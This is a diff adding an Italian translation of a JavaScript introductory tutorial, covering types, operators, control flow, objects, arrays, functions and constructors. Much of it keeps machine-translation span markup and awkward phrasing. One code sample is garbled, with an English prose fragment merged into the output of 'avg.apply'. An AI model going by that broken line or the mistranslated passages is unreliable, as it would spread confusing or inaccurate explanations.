+h
+&gt; "hello, world".replace("hello", "goodbye")
+goodbye, world
+&gt; "hello".toUpperCase()
+HELLO
+</pre>
+
+<h2 id="Altri_tipi">Altri tipi</h2>
+
+<p>JavaScript distingue tra <code>null</code>, che è un oggetto di tipo 'object' che indica un mancanza deliberata di valore, e <code>undefined</code>, che è un oggetto di tipo 'undefined' che indica un valore non inizializzato — ossia un valore che non è stato ancora assegnato. Parleremo delle variabili più avanti, ma in JavaScript è possibile dichiarare una variabile senza assegnarle un valore. Facendo questo, il tipo della variabile creata sarà <code>undefined</code>.</p>
+
+<p>JavaScript ha il tipo booleano, con possibili valori <code>true</code> (vero) e <code>false</code> (falso) (entrambi i quali sono parole chiave). Qualunque valore può essere convertito in booleano seguendo le seguenti regole:</p>
+
+<ol>
+ <li><code>false</code>, <code>0</code>, la stringa vuota (<code>""</code>), <code>NaN</code>, <code>null</code>, e <code>undefined</code> diventano tutti <code>false</code></li>
+ <li>tutti gli altri valori diventano <code>true</code></li>
+</ol>
+
+<p>E' possibile eseguire questa conversione esplicitamente usando la funzione <code>Boolean()</code>:</p>
+
+<pre class="brush: js notranslate">&gt; Boolean("")
+false
+&gt; Boolean(234)
+true
+</pre>
+
+<p>Tuttavia, questo raramente è necessario, JavaScript eseguirà silenziosamente la conversione quando si aspetta un booleano, così come in una istruzione  <code>if</code> (vedi sotto). Per questa ragione, a volte si parla semplicemente di "valori veri" e "valori falsi" valori significativi che diventano <code>true</code> e <code>false</code>, rispettivamente, quando convertiti in booleani. <span id="result_box" lang="it"><span class="hps">In alternativa</span><span>,</span> <span class="hps">tali valori</span> <span class="hps">possono</span> <span class="hps">essere</span> <span class="hps">chiamati</span> <span class="atn hps">"</span><span>truthy</span><span>"</span> <span class="hps">e</span> <span class="atn hps">"</span><span>falsy</span><span>"</span><span>,</span> <span class="hps">rispettivamente</span><span>.</span></span></p>
+
+<p>Le operazioni booleane come <code>&amp;&amp;</code> (<em>and</em> logico), <code>||</code> (<em>or </em>logico), e <code>!</code> (<em>not </em>logico) sono supportate; vedi sotto.</p>
+
+<h2 id="Variabili">Variabili</h2>
+
+<p>Le nuove varibili sono dichiarate in JavaScript utilizzando la parola chiave <code><a href="/en-US/docs/JavaScript/Reference/Statements/var" title="JavaScript/Reference/Statements/var">var</a></code>:</p>
+
+<pre class="brush: js notranslate">var a;
+var name = "simon";
+</pre>
+
+<p>Se la variabile viene dichiarata senza assegnarle un valore, il suo tipo sarà <code>undefined</code>. </p>
+
+<p>Una differenza importante rispetto ad altri linguaggi come Java è che in JavaScript, i blocchi non hanno ambito; solo le funzioni hanno ambito. Quindi se una variabile viene definita utilizzando <code>var</code> in una istruzione composta (ad esempio all'interno di una struttura di controllo <code>if</code>), essa sarà visibile da parte dell'intera funzione.</p>
+
+<h2 id="Operatori">Operatori</h2>
+
+<p>Gli operatori numerici in JavaScript sono <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> e  <code>%</code> - che è l'operatore per il resto. I valori sono assegnanti usando <code>=</code>, e vi sono anche le istruzioni di assegnamento composte tipo <code>+=</code> e <code>-=</code>. Questi comprimono la forma <code>x = x <em>operatore</em> y</code>.</p>
+
+<pre class="brush: js notranslate">x += 5
+x = x + 5
+</pre>
+
+<p>E' possibile utilizzare <code>++</code> e <code>--</code> per incrementare e decrementare rispettivamente. Questi possono essere usati come operatori prefissi o postfissi.</p>
+
+<p>L'<a href="/en-US/docs/JavaScript/Reference/Operators/String_Operators" title="JavaScript/Reference/Operators/String_Operators">operatore +</a> compie anche la concatenazione di stringhe:</p>
+
+<pre class="brush: js notranslate">&gt; "hello" + " world"
+hello world
+</pre>
+
+<p>Se si somma una stringa ad un numero (o ad un altro valore) tutto viene convertito dalla prima stringa. Questo esempio potrebbe aiutare a chiarire il tutto:</p>
+
+<pre class="brush: js notranslate">&gt; "3" + 4 + 5
+345
+&gt; 3 + 4 + "5"
+75
+</pre>
+
+<p>Sommare una stringa vuota ad un altro tipo è un utile maniera per convertirlo.</p>
+
+<p>I <a href="/en-US/docs/JavaScript/Reference/Operators/Comparison_Operators" title="JavaScript/Reference/Operators/Comparison_Operators">confronti</a> in JavaScript possono essere eseguiti usando <code>&lt;</code>, <code>&gt;</code>, <code>&lt;=</code> e <code>&gt;=</code>. Essi funzionano sia per le stringhe che per i numeri. L'uguaglianza è un pochino meno lineare. L'operatore di doppio uguale esegue la coercizione di tipo se viene eseguita tra tipi differenti, con a volte risultati interessanti:</p>
+
+<pre class="brush: js notranslate">&gt; "dog" == "dog"
+true
+&gt; 1 == true
+true
+</pre>
+
+<p>Per evitare la coercizione di tipo, si utilizza l'operatore triplo uguale:</p>
+
+<pre class="brush: js notranslate">&gt; 1 === true
+false
+&gt; true === true
+true
+</pre>
+
+<p>Vi sono anche gli operatori !<code>=</code> e  <code>!==</code> .</p>
+
+<p>JavaScript ha inoltre le <a href="/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">operazioni bit per bit</a>. Se si desidera utilizzarle, sono lì.</p>
+
+<h2 id="Strutture_di_controllo">Strutture di controllo</h2>
+
+<p>JavaScript ha una serie di strutture di controllo simili agli altri linguaggi della famiglia del C. Le istruzioni condizionali sono supportate da <code>if</code> e <code>else </code>(se e altrimenti) che possono essere concatenati insieme se desiderato:</p>
+
+<pre class="brush: js notranslate">var name = "kittens";
+if (name == "puppies") {
+  name += "!";
+} else if (name == "kittens") {
+  name += "!!";
+} else {
+  name = "!" + name;
+}
+name == "kittens!!"
+</pre>
+
+<p>JavaScript ha il ciclo <code>while</code> ed il ciclo <code>do-while</code>. Il primo è utile per un ciclo basico; il secondo per i cicli che si vuole essere sicuri che vengano eseguiti almeno una volta:</p>
+
+<pre class="brush: js notranslate">while (true) {
+  // an infinite loop!
+}
+
+var input;
+do {
+  input = get_input();
+} while (inputIsNotValid(input))
+</pre>
+
+<p>Il ciclo <code>for</code> in JavaScript è lo stesso che in C e Java: esso permette di fornire le informazioni di controllo per il ciclo in una linea singola.</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; 5; i++) {
+  // Will execute 5 times
+}
+</pre>
+
+<p>Gli operatori <code>&amp;&amp;</code>(<em>and</em> logico) e <code>||</code>(<em>or</em> logico) usano un corto-circuito logico, questo significa che quando vengono eseguiti il secondo operando è dipendente dal primo. Questo è utile per verificare oggetti nulli prima di accedere ai loro attributi:</p>
+
+<pre class="brush: js notranslate">var name = o &amp;&amp; o.getName();
+</pre>
+
+<p>Oppure per impostare valori di default:</p>
+
+<pre class="brush: js notranslate">var name = otherName || "default";
+</pre>
+
+<p>JavaScript ha un operatore ternario per espressioni condizionali:</p>
+
+<pre class="brush: js notranslate">var allowed = (age &gt; 18) ? "yes" : "no";
+</pre>
+
+<p><span id="result_box" lang="it"><span class="hps">L'istruzione switch</span> <span class="alt-edited hps">può essere utilizzata per</span> <span class="alt-edited hps">più diramazioni</span> <span class="hps">sulla base di un</span> <span class="hps">numero o una stringa</span></span>:</p>
+
+<pre class="brush: js notranslate">switch(action) {
+    case 'draw':
+        drawit();
+        break;
+    case 'eat':
+        eatit();
+        break;
+    default:
+        donothing();
+}
+</pre>
+
+<p>Se non viene inserita l'istruzione <code>break</code>, l'esecuzione "naufragherà" nel prossimo livello. Questo è raramente il risultato voluto — <span id="result_box" lang="it"><span class="hps">in realtà</span> <span class="hps">vale la pena</span> <span class="hps">in particolare</span> inserire un <span class="hps">etichettatura</span> <span class="hps">deliberatamente </span><span class="hps">con</span> <span class="hps">un commento,</span> <span class="hps">se vi</span> <span class="hps">vuole</span> <span class="hps">aiutare</span> <span class="hps">il debug</span></span>:</p>
+
+<pre class="brush: js notranslate">switch(a) {
+    case 1: // fallthrough
+    case 2:
+        eatit();
+        break;
+    default:
+        donothing();
+}
+</pre>
+
+<p>La clausula default è opzionale. Si possono avere espressioni sia nello switch sia che nel case se si vuole<span class="translation">;</span> <span id="result_box" lang="it"><span class="hps">i confronti</span> <span class="hps">avvengono tra</span> <span class="hps">i due</span> <span class="hps">con</span> <span class="hps">l'operatore ===</span></span>:</p>
+
+<pre class="brush: js notranslate">switch(1 + 3) {
+    case 2 + 2:
+        yay();
+        break;
+    default:
+        neverhappens();
+}
+</pre>
+
+<h2 id="Oggetti">Oggetti</h2>
+
+<p>Gli oggetti JavaScript sono semplicemente collezioni di coppie nome-valore. <span class="short_text" id="result_box" lang="it"><span class="hps">Come tali</span><span>,</span> <span class="hps">essi sono</span> <span class="hps">simili a</span></span>:</p>
+
+<ul>
+ <li>Dizionari in Python</li>
+ <li>Hashes in Perl e Ruby</li>
+ <li>Hash tables in C e C++</li>
+ <li>HashMaps in Java</li>
+ <li>Array associativi in PHP</li>
+</ul>
+
+<p>Il fatto che questa struttura dati è così diffusa è la prova della sua versatilità. Dal momento che tutto (barra i tipi base) in JavaScript è un oggetto, qualunque programma JavaScript implica naturalmente un grande ricorso alla ricerca nelle tabelle hash. E' buona cosa che siano così veloci!</p>
+
+<p>La parte "name" è una stringa JavaScript, mentre il valore può essere qualunque valore JavaScript — incluso più oggetti. Questo permette di costruire strutture dati di complessità arbitraria.</p>
+
+<p>Ci sono due modalità di base per creare un oggetto vuoto:</p>
+
+<pre class="brush: js notranslate">var obj = new Object();
+</pre>
+
+<p>E:</p>
+
+<pre class="brush: js notranslate">var obj = {};
+</pre>
+
+<p>Entrambe sono semanticamente equivalenti; la seconda è chiamata sintassi letterale dell'oggetto, ed è più conveniente. Questa sintassi è anche la base del formato JSON e dovrebbe essere preferita ogni volta.</p>
+
+<p>Una volta creato si può accedere alle proprietà di un oggetto in una o due modalità:</p>
+
+<pre class="brush: js notranslate">obj.name = "Simon";
+var name = obj.name;
+</pre>
+
+<p>E...</p>
+
+<pre class="brush: js notranslate">obj["name"] = "Simon";
+var name = obj["name"];
+</pre>
+
+<p>Anche queste sono semanticamente equivalenti. Il secondo metodo ha il vantaggio che il nome della proprietà viene fornito come stringa, che significa che può essere calcolato durante l'esecuzione e l'utilizzo di questo metodo evita che siano applicate ottimizzazioni del motore JavaScript e minifier. Può essere inoltre usato per impostare o ottenere proprietà con nomi che sono <a href="/en-US/docs/JavaScript/Reference/Reserved_Words" title="JavaScript/Reference/Reserved_Words">parole riservate</a>:</p>
+
+<pre class="brush: js notranslate">obj.for = "Simon"; // Syntax error, because 'for' is a reserved word
+obj["for"] = "Simon"; // works fine
+</pre>
+
+<p>La sintassi dell'oggetto letterale può essere usata per inizializzare un oggetto nella sua interezza:</p>
+
+<pre class="brush: js notranslate">var obj = {
+    name: "Carrot",
+    "for": "Max",
+    details: {
+        color: "orange",
+        size: 12
+    }
+}
+</pre>
+
+<p><span class="short_text" id="result_box" lang="it"><span class="alt-edited hps">Attributi</span> <span class="hps">di accesso</span> <span class="hps">possono essere concatenati</span></span>:</p>
+
+<pre class="brush: js notranslate">&gt; obj.details.color
+orange
+&gt; obj["details"]["size"]
+12
+</pre>
+
+<h2 id="Array_matrici">Array (matrici)</h2>
+
+<p>Gli array in JavaScript sono un tipo speciale di oggetto. Essi funzionano in modo molto simile agli oggetti regolari (si può accedere alle proprietà numeriche solo usando la sintassi []) ma hanno una proprietà magica chiamata '<code>length</code>'. Questa è sempre uno in più dell'indice massimo dell'array.</p>
+
+<p>Il vecchio metodo per creare un array è il seguente:</p>
+
+<pre class="brush: js notranslate">&gt; var a = new Array();
+&gt; a[0] = "dog";
+&gt; a[1] = "cat";
+&gt; a[2] = "hen";
+&gt; a.length
+3
+</pre>
+
+<p>Una notazione più conveniente è l'utilizzo di una array letterale:</p>
+
+<pre class="brush: js notranslate">&gt; var a = ["dog", "cat", "hen"];
+&gt; a.length
+3
+</pre>
+
+<p><span id="result_box" lang="it"><span class="alt-edited hps">Lasciare una</span> <span class="hps">virgola finale</span> <span class="hps">al termine di</span> <span class="alt-edited hps">un array letterale</span> <span class="alt-edited hps">è incompatibile</span> <span class="hps">tra i browser</span><span>,</span> <span class="alt-edited hps">quindi</span> <span class="alt-edited hps">non fatelo</span><span>.</span></span></p>
+
+<p>Nota che <code>array.length</code> non è necessariamente il numero di elementi nell'array. Considera il seguente esempio:</p>
+
+<pre class="brush: js notranslate">&gt; var a = ["dog", "cat", "hen"];
+&gt; a[100] = "fox";
+&gt; a.length
+101
+</pre>
+
+<p>Ricorda — la lunghezza dell'array è uno più dell'indice più alto.</p>
+
+<p>Se si interroga un indice dell'array inesistente, la risposta sarà <code>undefined</code>:</p>
+
+<pre class="brush: js notranslate">&gt; typeof a[90]
+undefined
+</pre>
+
+<p><span id="result_box" lang="it"><span class="hps">Se si prende</span> <span class="hps">in considerazione</span> <span class="hps">quanto sopra</span><span>,</span> <span class="hps">è possibile</span> <span class="hps">scorrere</span> <span class="hps">un array</span> <span class="alt-edited hps">utilizzando le istruzioni </span><span class="hps">seguenti</span><span>:</span></span></p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; a.length; i++) {
+    // Do something with a[i]
+}
+</pre>
+
+<p><span id="result_box" lang="it"><span class="hps">Questo è</span> <span class="hps">un po' inefficiente</span><span>, poichè si ricerca</span><span class="hps"> la</span> <span class="hps">proprietà length</span><span> una volta</span> <span class="hps">ogni ciclo</span><span>.</span> <span class="hps">Un possibile miglioramento</span> <span class="hps">è questo:</span></span></p>
+
+<pre class="brush: js notranslate">for (var i = 0, len = a.length; i &lt; len; i++) {
+    // Do something with a[i]
+}
+</pre>
+
+<p>Un modo ancora più simpatico è questo:</p>
+
+<pre class="brush: js notranslate">for (var i = 0, item; item = a[i++];) {
+    // Do something with item
+}
+</pre>
+
+<p>Qui si stanno impostando due variabili. L'assegnamento nella parte centrale del ciclo <code>for</code> è anche verificato per veridicità — se ha successo, il ciclo continua. Siccome <code>i</code> viene incrementato ogni volta, <span id="result_box" lang="it"><span class="hps">gli elementi dalla matrice</span> <span class="alt-edited hps">saranno assegnati</span> <span class="alt-edited hps">all'elemento</span> <span class="hps">in ordine sequenziale</span><span>. Il ciclo termina quando viene trovato un elemento "falso" </span></span>(come un <code>undefined</code>).</p>
+
+<p>Nota che questo trucco dovrebbe essere usato solo per gli array che sappiamo non contengano valori "falsi" (array di oggetti o nodi del <a href="/en-US/docs/DOM" title="DOM">DOM</a> per esempio). <span id="result_box" lang="it"><span class="hps">Se</span> <span class="hps">si effettua l'iterazione</span> <span class="hps">dei dati</span> <span class="hps">numerici</span> <span class="hps">che potrebbero includere</span> <span class="hps">uno 0</span>, <span class="hps">o dati</span> <span class="hps">stringa che</span> <span class="alt-edited hps">potrebbero includere</span> <span class="hps">la stringa vuota,</span> <span class="hps">è necessario utilizza l'idioma </span></span><code>i, len</code> in sostituzione.</p>
+
+<p>Un altro modo per iterare è di utilizzare il ciclo <code><a href="/en-US/docs/JavaScript/Reference/Statements/for...in" title="JavaScript/Reference/Statements/for...in">for...in</a></code>. Nota che se vengono aggiunte nuove proprietà all' <code>Array.prototype</code>, saranno anch'esse iterate da questo ciclo:</p>
+
+<pre class="brush: js notranslate">for (var i in a) {
+  // Do something with a[i]
+}
+</pre>
+
+<p>Se si vuole accodare un elemento all'array, la maniera più sicura per farlo è questa:</p>
+
+<pre class="brush: js notranslate">a[a.length] = item;                 // same as a.push(item);
+</pre>
+
+<p>Poichè <code>a.length</code> è uno in più dell'indice più alto, si può essere sicuri che l'elemento sarà assegnato ad una posizione vuota alla fine dell'array.</p>
+
+<p>Gli arrays nascono con alcuni metodi:</p>
+
+<table style="height: 124px; width: 598px;">
+ <thead>
+  <tr>
+   <th scope="col">Method name</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>a.toString()</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>a.toLocaleString()</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>a.concat(item[, itemN])</code></td>
+   <td>Restituisce un nuovo array con gli elementi aggiunti ad esso.</td>
+  </tr>
+  <tr>
+   <td><code>a.join(sep)</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>a.pop()</code></td>
+   <td>Rimuove e restituisce l'ultimo elemento.</td>
+  </tr>
+  <tr>
+   <td><code>a.push(item[, itemN])</code></td>
+   <td><code>Push</code> aggiunge uno o più elementi alla fine.</td>
+  </tr>
+  <tr>
+   <td><code>a.reverse()</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>a.shift()</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>a.slice(start, end)</code></td>
+   <td>Restituisce un sub-array.</td>
+  </tr>
+  <tr>
+   <td><code>a.sort([cmpfn])</code></td>
+   <td>Riceve una funzione di comparazione opzionale.</td>
+  </tr>
+  <tr>
+   <td><code>a.splice(start, delcount[, itemN])</code></td>
+   <td>Permette di modificare un array cancellando una sezione e sostituendola con più elementi.</td>
+  </tr>
+  <tr>
+   <td><code>a.unshift([item])</code></td>
+   <td>Antepone elementi all'inizio dell'array</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Funzioni">Funzioni</h2>
+
+<p><span id="result_box" lang="it"><span class="hps">Insieme</span> <span class="hps">con gli oggetti</span><span>, le funzioni</span> <span class="hps">sono la componente principale</span> <span class="hps">nella comprensione</span> <span class="alt-edited hps">di JavaScript</span><span>.</span> <span class="hps">La funzione</span> <span class="alt-edited hps">più elementare</span> <span class="hps">non potrebbe essere</span> <span class="hps">molto più semplice</span><span>:</span></span></p>
+
+<pre class="brush: js notranslate">function add(x, y) {
+    var total = x + y;
+    return total;
+}
+</pre>
+
+<p><span id="result_box" lang="it"><span class="hps">Ciò dimostra</span> <span class="hps">tutto quello che c'è</span> <span class="alt-edited hps">da sapere sulle</span> <span class="hps">funzioni di base</span><span>.</span></span> Una funzione JavaScript può ricevere 0 (zero) o più parametri. Il corpo della funzione può contenere tutte le istruzioni che si desidera, e può dichiarare le proprie variabili che saranno locali alla stessa. L'istruzione <code>return</code> può essere usata per restituire un valore in qualsiasi momento, terminando la funzione. Se non viene utilizzata l'istruzione return (oppure viene restituito un valore vuoto o indefinito), JavaScript restituisce <code>undefined</code>.</p>
+
+<p><span id="result_box" lang="it"><span class="hps">I</span> <span class="hps">parametri denominati</span> <span class="alt-edited hps">risultano</span> <span class="alt-edited hps">più simili al</span><span class="alt-edited hps">le linee guida</span> <span class="hps">di ogni altra cosa</span><span>.</span> <span class="hps">È possibile</span> <span class="hps">chiamare una funzione</span> <span class="hps">senza passare</span> <span class="hps">i parametri</span> <span class="hps">che si aspetta</span><span>,</span> <span class="hps">nel qual caso</span> <span class="alt-edited hps">saranno impostati</span> <span class="hps">su </span></span><code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">&gt; add()
+NaN // You can't perform addition on undefined
+</pre>
+
+<p><span id="result_box" lang="it"><span class="hps">È anche possibile passare</span> <span class="alt-edited hps">più</span> <span class="hps">argomenti</span> <span class="alt-edited hps">di quelli che la funzione</span> <span class="hps">si aspetta</span><span>:</span></span></p>
+
+<pre class="brush: js notranslate">&gt; add(2, 3, 4)
+5 // added the first two; 4 was ignored
+</pre>
+
+<p><span id="result_box" lang="it"><span class="hps">Questo può sembrare</span> <span class="hps">un po' sciocco</span><span>,</span> <span class="hps">ma le funzioni</span> <span class="hps">hanno accesso a</span> <span class="hps">una variabile aggiuntiva</span> <span class="hps">all'interno del loro corpo</span> <span class="hps">chiamata</span></span> <a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments" title="JavaScript/Reference/Functions_and_function_scope/arguments"><code>argomenti</code></a>, che è un oggetto simil array che detiene tutti i valori passati alla funzione. Riscriviamo la funzione somma per ricevere tutti i valori che vogliamo:</p>
+
+<pre class="brush: js notranslate">function add() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum;
+}
+
+&gt; add(2, 3, 4, 5)
+14
+</pre>
+
+<p>Questo, però, non è realmente più utile che scrivere <code>2 + 3 + 4 + 5</code>. Creiamo una funzione per il calcolo della media:</p>
+
+<pre class="brush: js notranslate">function avg() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum / arguments.length;
+}
+&gt; avg(2, 3, 4, 5)
+3.5
+</pre>
+
+<p><span id="result_box" lang="it"><span class="alt-edited hps">Questa</span> <span class="alt-edited hps">è piuttosto utile</span><span>,</span> <span class="hps">ma introduce</span> <span class="hps">un nuovo problema</span><span>.</span></span> La funzione <code>avg()</code> riceve una lista di argomenti separati da una virgola — <span id="result_box" lang="it"><span class="hps">ma</span> <span class="hps">cosa succede se</span> <span class="hps">si vuole</span> <span class="hps">trovare la media</span> <span class="hps">di un array</span><span>?</span></span> <span class="short_text" id="result_box" lang="it"><span class="alt-edited hps">Si potrebbe semplicemente</span> <span class="hps">riscrivere la</span> <span class="hps">funzione come segue:</span></span></p>
+
+<pre class="brush: js notranslate">function avgArray(arr) {
+    var sum = 0;
+    for (var i = 0, j = arr.length; i &lt; j; i++) {
+        sum += arr[i];
+    }
+    return sum / arr.length;
+}
+&gt; avgArray([2, 3, 4, 5])
+3.5
+</pre>
+
+<p><span id="result_box" lang="it"><span class="hps">Ma sarebbe</span> <span class="hps">bello essere in</span> <span class="hps">grado di riutilizzare la</span> <span class="hps">funzione che</span> <span class="hps">abbiamo già creato</span><span>.</span></span> Fortunatamente, JavaScript permette di chiamare una funzione e di chiamarla con un array arbitrario di argomenti, usando il metodo <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/apply" title="JavaScript/Reference/Global_Objects/Function/apply"><code>apply()</code></a> di qualunque oggetto di funzione.</p>
+
+<pre class="brush: js notranslate">&gt; avg.apply(null, [2, 3, 4, 5])
+3.5 is the array to use as arguments; the first will be discussed later on. This emphasizes the fact that functions are objects too.
+</pre>
+
+<p>JavaScript permette la creazione di funzioni anonime.</p>
+
+<pre class="brush: js notranslate">var avg = function() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum / arguments.length;
+}
+</pre>
+
+<p>Questa è semanticamente equivalente alla forma <code>function avg()</code>. Essa è estremamente potente, in quando consente di definire una funzione ovunque si possa normalmente inserire un espressione. <span id="result_box" lang="it"><span class="alt-edited hps">Questo consente</span> <span class="alt-edited hps">ogni sorta di</span> <span class="alt-edited hps">trucco intelligente</span><span>.</span> <span class="hps">Ecco un</span> <span class="hps">modo</span> <span class="hps">di "nascondere"</span> <span class="hps">alcune variabili</span> <span class="hps">locali</span> <span class="hps">- come</span> in <span class="alt-edited hps">un ambito di blocco </span><span class="hps">in C</span><span>:</span></span></p>
+
+<pre class="brush: js notranslate">&gt; var a = 1;
+&gt; var b = 2;
+&gt; (function() {
+    var b = 3;
+    a += b;
+})();
+&gt; a
+4
+&gt; b
+2
+</pre>
+
+<p><span id="result_box" lang="it"><span class="hps">JavaScript</span> <span class="hps">consente di</span> <span class="hps">chiamare le funzioni</span> <span class="hps">in modo ricorsivo</span><span>.</span> <span class="hps">Ciò è particolarmente utile</span> <span class="hps">per affrontare</span> <span class="hps">le strutture ad albero</span><span>, come</span> ad esempio nel </span><a href="/en-US/docs/DOM" title="DOM">DOM</a> del browser.</p>
+
+<pre class="brush: js notranslate">function countChars(elm) {
+    if (elm.nodeType == 3) { // TEXT_NODE
+        return elm.nodeValue.length;
+    }
+    var count = 0;
+    for (var i = 0, child; child = elm.childNodes[i]; i++) {
+        count += countChars(child);
+    }
+    return count;
+}
+</pre>
+
+<p><span id="result_box" lang="it"><span class="hps">Questo</span> <span class="hps">mette in evidenza</span> <span class="hps">un potenziale problema</span> <span class="hps">con le funzioni</span> <span class="hps">anonime</span></span>: come fare a richiamarle ricorsivamente se non hanno un nome? La risposta si trova con <s>l'oggetto <code>arguments</code>, che oltre ad agire come una lista di argomenti, fornisce anche una propietà chiamata <code>arguments.callee</code></s>. L'uso della <code>arguments.callee</code> è deprecato e anche disabilitato nel modo strict (rigoroso). In sostituzione si devono utilizzare le "funzioni anonime nominate" come di seguito:</p>
+
+<pre class="brush: js notranslate">var charsInBody = (function counter(elm) {
+    if (elm.nodeType == 3) { // TEXT_NODE
+        return elm.nodeValue.length;
+    }
+    var count = 0;
+    for (var i = 0, child; child = elm.childNodes[i]; i++) {
+        count += counter(child);
+    }
+    return count;
+})(document.body);
+</pre>
+
+<p><span id="result_box" lang="it"><span class="hps">Il nome fornito</span> <span class="hps">a una funzione anonima</span> <span class="hps">come sopra</span> <span class="atn hps">è (</span><span>o almeno dovrebbe</span> <span class="hps">essere)</span> <span class="alt-edited hps">disponibile solo</span> <span class="alt-edited hps">nell'ambito</span> <span class="hps">stesso</span> <span class="hps">della funzione.</span> <span class="hps">Questo</span> <span class="hps">consente</span> <span class="hps">sia</span> <span class="hps">più</span> <span class="hps">ottimizzazioni</span> <span class="alt-edited hps">da svolgere</span> <span class="alt-edited hps">da parte del motore</span> <span class="alt-edited hps">sia</span> <span class="hps">un codice</span> <span class="hps">più leggibile</span><span>.</span></span></p>
+
+<h2 id="Oggetti_personalizzati">Oggetti personalizzati</h2>
+
+<div class="note"><strong>Nota:</strong> Per una discussione più dettagliata della programmazione orientata agli oggetti, vedi <a href="/en-US/docs/JavaScript/Introduction_to_Object-Oriented_JavaScript" title="https://developer.mozilla.org/en/Introduction_to_Object-Oriented_JavaScript">Introduzione a JavaScript Orientato agli Oggetti</a>.</div>
+
+<p>Nella programmazione Object Oriented classica, gli oggetti sono collezioni di dati e metodi che operano su quei dati. JavaScript è un linguaggio basato su prototipi e non contiene l'istruzione classe, così come si trova in C++ o Java. (<span id="result_box" lang="it"><span class="hps">Questo a volte è</span> <span class="hps">fonte di confusione per</span> <span class="hps">i programmatori</span> <span class="hps">abituati</span> <span class="alt-edited hps">ai linguaggi</span> <span class="hps">con una dichiarazione</span> <span class="hps">di classe</span><span>.</span></span>) Al suo posto, JavaScript usa le funzioni come classi. Consideriamo un oggetto persona con i campi nome e cognome. Ci sono due modi di visualizzare il nominativo: come  "nome cognome" o come "cognome, nome". Usando le funzioni e gli oggetti che abbiamo visto in precedenza, ecco un modo di ottenere il risultato voluto:</p>
+
+<pre class="brush: js notranslate">function makePerson(first, last) {
+    return {
+        first: first,
+        last: last
+    }
+}
+function personFullName(person) {
+    return person.first + ' ' + person.last;
+}
+function personFullNameReversed(person) {
+    return person.last + ', ' + person.first
+}
+&gt; s = makePerson("Simon", "Willison");
+&gt; personFullName(s)
+Simon Willison
+&gt; personFullNameReversed(s)
+Willison, Simon
+</pre>
+
+<p>Questo funziona, ma è piuttosto brutto. Si finisce con dozzine di funzioni nel namespace globale. Ciò di cui abbiamo veramente bisogno è un modo per associare una funzione ad un oggetto. Dal momento che le funzioni sono oggetti, questo è facile:</p>
+
+<pre class="brush: js notranslate">function makePerson(first, last) {
+    return {
+        first: first,
+        last: last,
+        fullName: function() {
+            return this.first + ' ' + this.last;
+        },
+        fullNameReversed: function() {
+            return this.last + ', ' + this.first;
+        }
+    }
+}
+&gt; s = makePerson("Simon", "Willison")
+&gt; s.fullName()
+Simon Willison
+&gt; s.fullNameReversed()
+Willison, Simon
+</pre>
+
+<p>Vi è qualcosa che non abbiamo visto prima: la parola chiave '<code><a href="/en-US/docs/JavaScript/Reference/Operators/this" title="JavaScript/Reference/Operators/Special_Operators/this_Operator">this</a></code>'. Usata dentro una funzione, '<code>this</code>' si riferisce all'oggetto corrente. Che cosa significa in realtà è specificato dal modo in cui è stata chiamata tale funzione. Se è stata chiamata usando <a href="/en-US/docs/JavaScript/Reference/Operators/Member_Operators" title="JavaScript/Reference/Operators/Member_Operators">la notazione col punto o la notazione con le parentesi</a> su un oggetto, questo oggetto diventa '<code>this</code>'. Se la notazione col punto non è stata usata per la chiamata, '<code>this</code>' si riferisce all'oggetto globale. Questa è una causa di errori frequente. Ad esempio:</p>
+
+<pre class="brush: js notranslate">&gt; s = makePerson("Simon", "Willison")
+&gt; var fullName = s.fullName;
+&gt; fullName()
+undefined undefined
+</pre>
+
+<p>Quando chiamiamo <code>fullName()</code>, '<code>this</code>' è legata all'oggetto globale. Dato che non ci sono variabili globali chiamate <code>first</code> o <code>last</code> riceviamo <code>undefined</code> per ognuna delle due.</p>
+
+<p>Possiamo prendere il vantaggio della parola chiave '<code>this</code>' per migliorare la nostra funzione <code>makePerson</code>:</p>
+
+<pre class="brush: js notranslate">function Person(first, last) {
+    this.first = first;
+    this.last = last;
+    this.fullName = function() {
+        return this.first + ' ' + this.last;
+    }
+    this.fullNameReversed = function() {
+        return this.last + ', ' + this.first;
+    }
+}
+var s = new Person("Simon", "Willison");
+</pre>
+
+<p>Abbiamo introdotto un'altra parola chiave: '<code><a href="/en-US/docs/JavaScript/Reference/Operators/new" title="JavaScript/Reference/Operators/Special_Operators/new_Operator">new</a></code>'. <code>new</code> è fortemente correlata a '<code>this</code>'. Quello che fa è creare un oggetto vuoto nuovo di zecca e quindi chiamare la funzione specificata, con '<code>this</code>' impostato sul nuovo oggetto. Le funzioni che sono disegnate per essere richiamate dalla '<code>new</code>' sono chiamate costruttori. La pratica comune è di nominare queste funzioni con la prima lettera maiuscola in modo da ricordarsi di chiamarle con il <code>new</code>.</p>
+
+<p>I nostri oggetti persona stanno migliorando, ma vi sono ancora alcuni lati brutti in loro. Ogni volta che si crea un oggetto persona, stiamo creando due nuovi oggetti funzione all'interno di esso - non sarebbe meglio se il codice fosse stato condiviso?</p>
+
+<pre class="brush: js notranslate">function personFullName() {
+    return this.first + ' ' + this.last;
+}
+function personFullNameReversed() {
+    return this.last + ', ' + this.first;
+}
+function Person(first, last) {
+    this.first = first;
+    this.last = last;
+    this.fullName = personFullName;
+    this.fullNameReversed = personFullNameReversed;
+}
+</pre>
+
